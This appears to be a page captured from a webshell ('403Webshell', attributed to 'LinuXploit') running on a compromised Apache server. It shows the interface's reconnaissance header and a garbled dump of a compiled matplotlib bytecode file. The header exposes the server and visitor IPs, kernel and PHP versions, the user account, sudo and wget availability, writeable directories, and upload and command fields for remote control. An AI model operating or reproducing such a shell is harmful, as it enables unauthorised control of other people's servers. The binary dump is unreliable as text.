403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.217.120
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/__pycache__/_tight_bbox.cpython-312.pyc
�

G8�c�
��,�dZddlmZmZmZdd�Zdd�Zy)zE
Helper module for the *bbox_inches* parameter in `.Figure.savefig`.
�)�Bbox�TransformedBbox�Affine2DNc�����
�������j��j��j���jd��jj
�g�g�
t
���jD]�}�
j|j��|jd��j�}|j|fd��d|jvr�j|j�n�j��d	d�|_�����
�����fd�}|��j}t!�j#|�}|�jz}t%j&ddg|j(����_|j+|j,�\}}	�jj(|z\}
}t%j&||	|
|��j_�jj/�t1�j|��_�j2j5||
z|	|z�jj6|
z�jj8|z�|S)
aO
    Temporarily adjust the figure so that only the specified area
    (bbox_inches) is saved.

    It modifies fig.bbox, fig.bbox_inches,
    fig.transFigure._boxout, and fig.patch.  While the figure size
    changes, the scale of the original figure is conserved.  A
    function which restores the original values are returned.
    NF)�originalc��|S�N�)�a�r�_poss   �8/usr/lib/python3/dist-packages/matplotlib/_tight_bbox.py�<lambda>zadjust_bbox.<locals>.<lambda>s��4���apply_aspectc��yr	r
)�poss rrzadjust_bbox.<locals>.<lambda>$s�rc�T��t�j���D]%\}}}|j|�|�
ur|`�||_�'��_��_�j
�	���j_�jj��jjdddd�y)Nr�)�zip�axes�set_axes_locatorr�bbox�bbox_inches�set_layout_engine�transFigure�_boxout�
invalidate�patch�
set_bounds)�ax�loc�aspectr�fig�locator_list�
old_aspect�origBbox�origBboxInches�orig_layout�sentinels   ��������r�restore_bboxz!adjust_bbox.<locals>.restore_bbox&s����"�3�8�8�\�:�F�	)�O�B��V�����$���!��O�"(���
	)����(������k�*�")��������"�"�$��	�	���Q��1�a�(rrr	)rr�get_layout_enginerrr�objectr�append�get_axes_locator�get_position�frozenr�__dict__r�dpir�scaler�from_bounds�size�	transform�p0rrrr �width�height)r$r�	fixed_dpir!�current_posr+�tr�	dpi_scale�x0�y0�w1�h1rr%r&r'r(r)r*s`           @@@@@@@r�adjust_bboxrCs�����x�x�H��_�_�N��'�'�)�K����$���o�o�%�%�G��J��L��x�H��h�h�	0�����B�/�/�1�2��o�o�u�o�5�<�<�>��
���k�?�@��R�[�[�(����b�o�o�.����h�'�/���	0�)�)� ���G�G�	�	��	�	�)�	$�B��C�G�G�#�I��&�&�q�!�?�k�.>�.>�?�C�O�
�\�\�+�.�.�
)�F�B��
�X�X�]�]�Y�
&�F�B��"�.�.��s�R�C��R�@�C�O�O���O�O��� ��s����3�C�H��I�I����b��"�r�'������"�,�c�h�h�o�o��.B�D��rc�<�|\}}|�t|||�}||fS)z�
    A function that needs to be called when figure dpi changes during the
    drawing (e.g., rasterizing).  It recovers the bbox and re-adjust it with
    the new dpi.
    )rC)r$�bbox_inches_restorer;rr+rs      r�process_figure_for_rasterizingrFIs+��!4��K���N��C��i�0�A���>�rr	)�__doc__�matplotlib.transformsrrrrCrFr
rr�<module>rIs���B�A�>�Br

Youez - 2016 - github.com/yon3zu
LinuXploit